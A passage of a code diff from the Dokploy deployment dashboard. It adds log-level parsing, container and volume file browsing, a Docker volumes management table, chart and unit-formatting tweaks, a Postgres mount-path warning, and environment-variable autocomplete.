+	if (jsonNumericMatch?.[1]) {
+		return numericLevelToType(Number(jsonNumericMatch[1]));
+	}
+
+	// logfmt: level=error
+	const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i);
+	if (logfmtMatch?.[1]) {
+		return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null;
+	}
+
+	return null;
+};
+
 // Detect log type based on message content
 export const getLogType = (message: string): LogStyle => {
+	// A level explicitly declared by the logger wins over any inference
+	const explicitType = getExplicitLevelType(message);
+	if (explicitType) return LOG_STYLES[explicitType];
+
 	// Detect HTTP statusCode
 	const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
 
@@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => {
 		return LOG_STYLES.info;
 	}
 
+	// Key/value pairs that explicitly report a non-error (e.g. "error: none",
+	// "failed: false") must not trigger the error keyword patterns below
+	const nonErrorColonPairs =
+		/\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
+	const nonErrorLogfmtPairs =
+		/\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
+	const errorScope = lowerMessage
+		.replace(nonErrorColonPairs, "")
+		.replace(nonErrorLogfmtPairs, "");
+
 	if (
-		/(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
-		/\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
-		/(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
-		/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
-		/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
-		/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
-		/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
-		/\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
-		/\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
-		/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
+		/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
+		/\b(?:exception|failed|failure)\b/i.test(errorScope) ||
+		/(?:stack\s?trace):\s*$/i.test(errorScope) ||
+		/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
+		/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
+		/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
+		/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
+		/\[(?:error|err|fatal)\]/i.test(errorScope) ||
+		/\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
+		/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
 	) {
 		return LOG_STYLES.error;
 	}

apps/dokploy/components/dashboard/docker/show/columns.tsx

@@ -12,6 +12,7 @@ import {
 	DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
 import { ShowContainerConfig } from "../config/show-container-config";
+import { FilesExplorerModal } from "../files/files-explorer-modal";
 import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
 import { ShowContainerMounts } from "../mounts/show-container-mounts";
 import { ShowContainerNetworks } from "../networks/show-container-networks";
@@ -173,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
 						>
 							Terminal
 						</DockerTerminalModal>
+						<FilesExplorerModal
+							containerId={container.containerId}
+							serverId={container.serverId || undefined}
+						>
+							Browse Files
+						</FilesExplorerModal>
 						<UploadFileModal
 							containerId={container.containerId}
 							serverId={container.serverId || undefined}

apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx

@@ -5,6 +5,7 @@ import "@xterm/xterm/css/xterm.css";
 import { AttachAddon } from "@xterm/addon-attach";
 import { useTheme } from "next-themes";
 import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
 
 interface Props {
 	id: string;
@@ -45,6 +46,7 @@ export const DockerTerminal: React.FC<Props> = ({
 		const ws = new WebSocket(wsUrl);
 
 		const addonAttach = new AttachAddon(ws);
+		fixMacOsAltKeys(term);
 		// @ts-ignore
 		term.open(termRef.current);
 		// @ts-ignore

apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx

@@ -0,0 +1,434 @@
+"use client";
+
+import {
+	type ColumnDef,
+	flexRender,
+	getCoreRowModel,
+	getPaginationRowModel,
+	getSortedRowModel,
+	type PaginationState,
+	type SortingState,
+	useReactTable,
+} from "@tanstack/react-table";
+import type { inferRouterOutputs } from "@trpc/server";
+import {
+	ArrowUpDown,
+	Eye,
+	FolderOpen,
+	HardDrive,
+	Loader2,
+	Trash2,
+} from "lucide-react";
+import { useMemo, useState } from "react";
+import { toast } from "sonner";
+import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { CodeEditor } from "@/components/shared/code-editor";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { Input } from "@/components/ui/input";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import type { AppRouter } from "@/server/api/root";
+import { api } from "@/utils/api";
+
+type VolumeRow =
+	inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
+
+interface Props {
+	serverId?: string;
+}
+
+const SIZE_UNITS: Record<string, number> = {
+	b: 1,
+	kb: 1e3,
+	mb: 1e6,
+	gb: 1e9,
+	tb: 1e12,
+};
+
+const parseSize = (size?: string) => {
+	if (!size) return -1;
+	const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
+	if (!match?.[1] || !match[2]) return -1;
+	return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
+};
+
+const SortableHeader = ({
+	column,
+	title,
+}: {
+	column: {
+		getIsSorted: () => false | "asc" | "desc";
+		toggleSorting: (asc: boolean) => void;
+	};
+	title: string;
+}) => (
+	<Button
+		variant="ghost"
+		className="-ml-3 h-8"
+		onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
+	>
+		{title}
+		<ArrowUpDown className="ml-2 size-4" />
+	</Button>
+);
+
+const ShowVolumeConfig = ({
+	volumeName,
+	serverId,
+}: {
+	volumeName: string;
+	serverId?: string;
+}) => {
+	const [open, setOpen] = useState(false);
+	const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
+		{ volumeName, serverId },
+		{ enabled: open },
+	);
+
+	return (
+		<Dialog open={open} onOpenChange={setOpen}>
+			<DialogTrigger asChild>
+				<Button variant="ghost" size="icon-sm" aria-label="View volume config">
+					<Eye className="size-4" />
+				</Button>
+			</DialogTrigger>
+			<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
+				<DialogHeader>
+					<DialogTitle>Volume Config</DialogTitle>
+					<DialogDescription>
+						docker volume inspect output for "{volumeName}"
+					</DialogDescription>
+				</DialogHeader>
+				{error ? (
+					<AlertBlock type="error">{error.message}</AlertBlock>
+				) : isLoading ? (
+					<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
+						<span>Loading...</span>
+						<Loader2 className="animate-spin size-4" />
+					</div>
+				) : (
+					<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
+						<code>
+							<pre className="whitespace-pre-wrap wrap-break-word">
+								<CodeEditor
+									language="json"
+									lineWrapping
+									lineNumbers={false}
+									readOnly
+									value={JSON.stringify(data, null, 2)}
+								/>
+							</pre>
+						</code>
+					</div>
+				)}
+			</DialogContent>
+		</Dialog>
+	);
+};
+
+export const ShowVolumes = ({ serverId }: Props) => {
+	const utils = api.useUtils();
+	const [sorting, setSorting] = useState<SortingState>([
+		{ id: "Name", desc: false },
+	]);
+	const [globalFilter, setGlobalFilter] = useState("");
+	const [pagination, setPagination] = useState<PaginationState>({
+		pageIndex: 0,
+		pageSize: 10,
+	});
+
+	const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
+		serverId,
+	});
+	const { data: sizes, isLoading: isLoadingSizes } =
+		api.dockerVolume.getVolumesSize.useQuery({ serverId });
+
+	const sizeByName = useMemo(
+		() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
+		[sizes],
+	);
+	const { mutateAsync: removeVolume } =
+		api.dockerVolume.removeVolume.useMutation();
+
+	const filteredData = useMemo(() => {
+		const list = volumes ?? [];
+		if (!globalFilter.trim()) {
+			return list;
+		}
+		const query = globalFilter.toLowerCase();
+		return list.filter((volume) => volume.Name.toLowerCase().includes(query));
+	}, [volumes, globalFilter]);
+
+	const columns = useMemo<ColumnDef<VolumeRow>[]>(
+		() => [
+			{
+				accessorKey: "Name",
+				header: ({ column }) => <SortableHeader column={column} title="Name" />,
+				cell: ({ row }) => (
+					<div
+						className="max-w-[280px] truncate font-medium"
+						title={row.original.Name}
+					>
+						{row.original.Name}
+					</div>
+				),
+			},
+			{
+				accessorKey: "Driver",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Driver" />
+				),
+				cell: ({ row }) => (
+					<Badge variant="outline">{row.original.Driver}</Badge>
+				),
+			},
+			{
+				accessorKey: "Scope",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Scope" />
+				),
+				cell: ({ row }) => (
+					<span className="text-muted-foreground">{row.original.Scope}</span>
+				),
+			},
+			{
+				id: "Size",
+				header: ({ column }) => <SortableHeader column={column} title="Size" />,
+				sortingFn: (a, b) =>
+					parseSize(sizeByName.get(a.original.Name) ?? undefined) -
+					parseSize(sizeByName.get(b.original.Name) ?? undefined),
+				cell: ({ row }) =>
+					isLoadingSizes ? (
+						<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
+					) : (
+						<span className="text-muted-foreground">
+							{sizeByName.get(row.original.Name) ?? "-"}
+						</span>
+					),
+			},
+			{
+				accessorKey: "Mountpoint",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Mountpoint" />
+				),
+				cell: ({ row }) => (
+					<div
+						className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
+						title={row.original.Mountpoint}
+					>
+						{row.original.Mountpoint}
+					</div>
+				),
+			},
+			{
+				id: "actions",
+				enableSorting: false,
+				header: () => <div className="text-right">Actions</div>,
+				cell: ({ row }) => (
+					<div className="flex items-center justify-end gap-3">
+						<FilesExplorerModal
+							volumeName={row.original.Name}
+							serverId={serverId}
+							asDropdownItem={false}
+						>
+							<Button
+								variant="ghost"
+								size="icon-sm"
+								aria-label="Browse volume files"
+							>
+								<FolderOpen className="size-4" />
+							</Button>
+						</FilesExplorerModal>
+						<ShowVolumeConfig
+							volumeName={row.original.Name}
+							serverId={serverId}
+						/>
+						<DialogAction
+							title="Delete volume"
+							description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
+							onClick={async () => {
+								try {
+									await removeVolume({
+										volumeName: row.original.Name,
+										serverId,
+									});
+									toast.success("Volume deleted");
+									await utils.dockerVolume.getVolumes.invalidate();
+								} catch (error) {
+									toast.error("Error deleting volume", {
+										description:
+											error instanceof Error ? error.message : "Unknown error",
+									});
+								}
+							}}
+						>
+							<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
+								<Trash2 className="size-4 text-destructive" />
+							</Button>
+						</DialogAction>
+					</div>
+				),
+			},
+		],
+		[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
+	);
+
+	const table = useReactTable({
+		data: filteredData,
+		columns,
+		state: {
+			sorting,
+			pagination,
+		},
+		onSortingChange: setSorting,
+		onPaginationChange: setPagination,
+		getCoreRowModel: getCoreRowModel(),
+		getSortedRowModel: getSortedRowModel(),
+		getPaginationRowModel: getPaginationRowModel(),
+	});
+
+	return (
+		<div className="w-full">
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl">
+				<div className="rounded-xl bg-background shadow-md ">
+					<CardHeader className="">
+						<CardTitle className="text-xl flex flex-row gap-2">
+							<HardDrive className="size-6 text-muted-foreground self-center" />
+							Volumes
+						</CardTitle>
+						<CardDescription>
+							Manage the Docker volumes of the selected server.
+						</CardDescription>
+					</CardHeader>
+
+					<CardContent className="space-y-4 py-8 border-t">
+						{isLoading ? (
+							<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : !volumes?.length ? (
+							<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
+								<div className="rounded-full bg-muted p-4">
+									<HardDrive className="size-10 text-muted-foreground" />
+								</div>
+								<div className="space-y-1 text-center">
+									<p className="text-sm font-medium">No volumes found</p>
+									<p className="max-w-sm text-sm text-muted-foreground">
+										Docker volumes created on this server will appear here.
+									</p>
+								</div>
+							</div>
+						) : (
+							<>
+								<div className="flex flex-wrap items-center gap-2">
+									<Input
+										placeholder="Search by name..."
+										value={globalFilter}
+										onChange={(e) => setGlobalFilter(e.target.value)}
+										className="max-w-xs"
+									/>
+								</div>
+								<div className="rounded-md border overflow-x-auto">
+									<Table>
+										<TableHeader>
+											{table.getHeaderGroups().map((headerGroup) => (
+												<TableRow key={headerGroup.id}>
+													{headerGroup.headers.map((header) => (
+														<TableHead key={header.id}>
+															{header.isPlaceholder
+																? null
+																: flexRender(
+																		header.column.columnDef.header,
+																		header.getContext(),
+																	)}
+														</TableHead>
+													))}
+												</TableRow>
+											))}
+										</TableHeader>
+										<TableBody>
+											{table.getRowModel().rows?.length ? (
+												table.getRowModel().rows.map((row) => (
+													<TableRow key={row.id}>
+														{row.getVisibleCells().map((cell) => (
+															<TableCell key={cell.id}>
+																{flexRender(
+																	cell.column.columnDef.cell,
+																	cell.getContext(),
+																)}
+															</TableCell>
+														))}
+													</TableRow>
+												))
+											) : (
+												<TableRow>
+													<TableCell
+														colSpan={columns.length}
+														className="h-24 text-center text-muted-foreground"
+													>
+														No volumes match your filters.
+													</TableCell>
+												</TableRow>
+											)}
+										</TableBody>
+									</Table>
+								</div>
+								{table.getPageCount() > 1 && (
+									<div className="flex items-center justify-end gap-4">
+										<span className="text-sm text-muted-foreground">
+											Page {table.getState().pagination.pageIndex + 1} of{" "}
+											{table.getPageCount()}
+										</span>
+										<div className="flex gap-2">
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.previousPage()}
+												disabled={!table.getCanPreviousPage()}
+											>
+												Previous
+											</Button>
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.nextPage()}
+												disabled={!table.getCanNextPage()}
+											>
+												Next
+											</Button>
+										</div>
+									</div>
+								)}
+							</>
+						)}
+					</CardContent>
+				</div>
+			</Card>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx

@@ -1,3 +1,4 @@
+import { formatMb, toMb } from "@dokploy/server/monitoring/units";
 import { format } from "date-fns";
 import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
 import {
@@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
 	const transformedData = accumulativeData.map((item, index) => ({
 		time: item.time,
 		name: `Point ${index + 1}`,
-		readMb: item.value.readMb,
-		writeMb: item.value.writeMb,
+		readMb: toMb(item.value.readMb),
+		writeMb: toMb(item.value.writeMb),
 	}));
 
 	return (
@@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
 							}}
 							formatter={(value, name) => {
 								const label = name === "readMb" ? "Read" : "Write";
-								return [`${value} MB`, label];
+								return [formatMb(Number(value)), label];
 							}}
 						/>
 					}
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="readMb"
 					stroke="var(--color-readMb)"
 					fill="url(#fillBlockRead)"
@@ -91,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="writeMb"
 					stroke="var(--color-writeMb)"
 					fill="url(#fillBlockWrite)"

apps/dokploy/components/dashboard/monitoring/free/container/docker-cpu-chart.tsx

@@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="usage"
 					stroke="var(--color-usage)"
 					fill="url(#fillCpu)"

apps/dokploy/components/dashboard/monitoring/free/container/docker-disk-chart.tsx

@@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="usedGb"
 					stroke="var(--color-usedGb)"
 					fill="url(#fillDiskUsed)"

apps/dokploy/components/dashboard/monitoring/free/container/docker-memory-chart.tsx

@@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="usage"
 					stroke="var(--color-usage)"
 					fill="url(#fillMemory)"

apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx

@@ -1,3 +1,4 @@
+import { formatMb, toMb } from "@dokploy/server/monitoring/units";
 import { format } from "date-fns";
 import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
 import {
@@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
 	const transformedData = accumulativeData.map((item, index) => ({
 		time: item.time,
 		name: `Point ${index + 1}`,
-		inMB: item.value.inputMb,
-		outMB: item.value.outputMb,
+		inMB: toMb(item.value.inputMb),
+		outMB: toMb(item.value.outputMb),
 	}));
 
 	return (
@@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
 							}}
 							formatter={(value, name) => {
 								const label = name === "inMB" ? "In" : "Out";
-								return [`${value} MB`, label];
+								return [formatMb(Number(value)), label];
 							}}
 						/>
 					}
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="inMB"
 					stroke="var(--color-inMB)"
 					fill="url(#fillNetIn)"
@@ -87,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
 				/>
 				<Area
 					type="monotone"
+					isAnimationActive={false}
 					dataKey="outMB"
 					stroke="var(--color-outMB)"
 					fill="url(#fillNetOut)"

apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx

@@ -1,3 +1,4 @@
+import { formatMb } from "@dokploy/server/monitoring/units";
 import { useEffect, useState } from "react";
 import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
 import { Progress } from "@/components/ui/progress";
@@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
 					<CardContent>
 						<div className="flex flex-col gap-2 w-full">
 							<span className="text-sm text-muted-foreground">
-								{`Read:  ${currentData.block.value.readMb}  / Write: ${currentData.block.value.writeMb} `}
+								{`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
 							</span>
 							<DockerBlockChart accumulativeData={accumulativeData.block} />
 						</div>
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
 					<CardContent>
 						<div className="flex flex-col gap-2 w-full">
 							<span className="text-sm text-muted-foreground">
-								{`In MB: ${currentData.network.value.inputMb}  / Out MB: ${currentData.network.value.outputMb} `}
+								{`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
 							</span>
 							<DockerNetworkChart accumulativeData={accumulativeData.network} />
 						</div>

apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx

@@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
 							name="Write"
 							dataKey="write"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillWrite)"
 							stroke="hsl(142, 71%, 45%)"
 							strokeWidth={2}
@@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
 							name="Read"
 							dataKey="read"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillRead)"
 							stroke="hsl(217, 91%, 60%)"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx

@@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
 							name="CPU"
 							dataKey="cpu"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillCPU)"
 							stroke="hsl(var(--chart-1))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx

@@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
 							name="Memory"
 							dataKey="memory"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillMemory)"
 							stroke="hsl(var(--chart-2))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx

@@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
 							name="Input"
 							dataKey="input"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillInput)"
 							stroke="hsl(var(--chart-3))"
 							strokeWidth={2}
@@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
 							name="Output"
 							dataKey="output"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillOutput)"
 							stroke="hsl(var(--chart-4))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx

@@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
 							name="CPU"
 							dataKey="cpu"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillCPU)"
 							stroke="hsl(var(--chart-1))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx

@@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
 							yAxisId="left"
 							dataKey="memUsed"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillMemory)"
 							stroke="hsl(var(--chart-2))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx

@@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
 							name="Network In"
 							dataKey="networkIn"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillNetworkIn)"
 							stroke="hsl(var(--chart-3))"
 							strokeWidth={2}
@@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
 							name="Network Out"
 							dataKey="networkOut"
 							type="monotone"
+							isAnimationActive={false}
 							fill="url(#fillNetworkOut)"
 							stroke="hsl(var(--chart-4))"
 							strokeWidth={2}

apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx

@@ -4,6 +4,7 @@ import { useEffect } from "react";
 import { useFieldArray, useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
+import { AlertBlock } from "@/components/shared/alert-block";
 import { Button } from "@/components/ui/button";
 import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
 import {
@@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
 import { api } from "@/utils/api";
 import type { ServiceType } from "../../application/advanced/show-resources";
 
+const getPostgresMountPath = (dockerImage: string): string => {
+	const versionMatch = dockerImage.match(/postgres:(\d+)/);
+	if (versionMatch?.[1]) {
+		const version = Number.parseInt(versionMatch[1], 10);
+		if (version >= 18) {
+			return `/var/lib/postgresql/${version}/docker`;
+		}
+	}
+	return "/var/lib/postgresql/data";
+};
+
+const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
+
 const addDockerImage = z.object({
 	dockerImage: z.string().min(1, "Docker image is required"),
 	command: z.string(),
@@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
 		}
 	}, [data, form]);
 
+	const dockerImage = form.watch("dockerImage");
+
+	const mountPathWarning = (() => {
+		if (type !== "postgres" || !dockerImage) return null;
+		const mounts = data && "mounts" in data ? data.mounts : [];
+		const dataMounts = mounts.filter(
+			(mount) =>
+				mount.type === "volume" &&
+				POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
+		);
+		if (dataMounts.length === 0) return null;
+		const expectedPath = getPostgresMountPath(dockerImage);
+		if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
+			return null;
+		}
+		return {
+			expectedPath,
+			currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
+		};
+	})();
+
 	const onSubmit = async (formData: AddDockerImage) => {
 		await mutateAsync({
 			mongoId: id || "",
@@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
 											</FormItem>
 										)}
 									/>
+									{mountPathWarning && (
+										<AlertBlock type="warning">
+											This image expects its data directory under{" "}
+											<code>{mountPathWarning.expectedPath}</code>, but the
+											volume of this database is mounted at{" "}
+											<code>{mountPathWarning.currentPath}</code>. Changing the
+											image does not migrate existing data — Postgres may
+											crash-loop or start with an empty database. Adjust the
+											volume mount path in the Volumes section or keep a
+											compatible image before saving.
+										</AlertBlock>
+									)}
 								</div>
 								<FormField
 									control={form.control}

apps/dokploy/components/dashboard/project/environment-variables.tsx

@@ -6,6 +6,7 @@ import { toast } from "sonner";
 import { z } from "zod";
 import { AlertBlock } from "@/components/shared/alert-block";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import {
 	Dialog,
@@ -55,6 +56,11 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
 		},
 	);
 
+	const completionSource = useEnvCompletionSource({
+		includeShared: false,
+		projectId: data?.projectId,
+		environmentId,
+	});
 	const form = useForm<UpdateEnvironment>({
 		defaultValues: {
 			env: data?.env ?? "",
@@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
 				<AlertBlock type="info">
 					Use this syntax to reference environment-level variables in your
 					service environments:{" "}
-					<code>API_URL=${"{{environment.API_URL}}"}</code>
+					<code>API_URL=${"{{environment.API_URL}}"}</code>. You can also
+					reference secrets from a configured vault provider:{" "}
+					<code>DB_URL=${"{{vault.<provider>.<secret>}}"}</code>
 				</AlertBlock>
 				<div className="grid gap-4">
 					<div className="grid items-center gap-4">
@@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
 											<FormLabel>Environment variables</FormLabel>
 											<FormControl>
 												<CodeEditor
+													completionSource={completionSource}
 													lineWrapping
 													language="properties"
 													readOnly={!canWrite}

apps/dokploy/components/dashboard/projects/project-environment.tsx

@@ -6,6 +6,7 @@ import { toast } from "sonner";
 import { z } from "zod";
 import { AlertBlock } from "@/components/shared/alert-block";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import {
 	Dialog,
@@ -55,6 +56,10 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
 		},
 	);
 
+	const completionSource = useEnvCompletionSource({
+		includeShared: false,
+		projectId,
+	});
 	const form = useForm<UpdateProject>({
 		defaultValues: {
 			env: data?.env ?? "",
@@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
 			.then(() => {
 				toast.success("Project env updated successfully");
 				utils.project.all.invalidate();
+				utils.project.one.invalidate({ projectId });
 			})
 			.catch(() => {
 				toast.error("Error updating the env");
@@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
 											<FormLabel>Environment variables</FormLabel>
 											<FormControl>
 												<CodeEditor
+													completionSource={completionSource}
 													lineWrapping
 													language="properties"
 													readOnly={!canWrite}

apps/dokploy/components/dashboard/requests/request-distribution-chart.tsx

@@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
 				<Area
 					dataKey="count"
 					type="monotone"
+					isAnimationActive={false}
 					fill="hsl(var(--chart-1))"
 					fillOpacity={0.4}
 					stroke="hsl(var(--chart-1))"

apps/dokploy/components/dashboard/requests/show-requests.tsx

@@ -63,7 +63,7 @@ export const ShowRequests = () => {
 	const [dateRange, setDateRange] = useState<{
 		from: Date | undefined;
 		to: Date | undefined;
-	}>(getDefaultDateRange());
+	}>(() => getDefaultDateRange());
 
 	// Check if logs exist to determine if traefik has been reloaded
 	// Only fetch when active to minimize network calls

apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx

@@ -13,6 +13,7 @@ import {
 import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
 
 export const AddGithubProvider = () => {
 	const [isOpen, setIsOpen] = useState(false);
@@ -23,6 +24,9 @@ export const AddGithubProvider = () => {
 	const [manifest, setManifest] = useState("");
 	const [isOrganization, setIsOrganization] = useState(false);
 	const [organizationName, setOrganization] = useState("");
+	const [githubUrl, setGithubUrl] = useState(DEFAULT_GITHUB_URL);
+
+	const { baseUrl, error: githubUrlError } = resolveGithubBaseUrl(githubUrl);
 
 	const randomString = () => Math.random().toString(36).slice(2, 8);
 
@@ -30,7 +34,7 @@ export const AddGithubProvider = () => {
 		const url = document.location.origin;
 		const manifest = JSON.stringify(
 			{
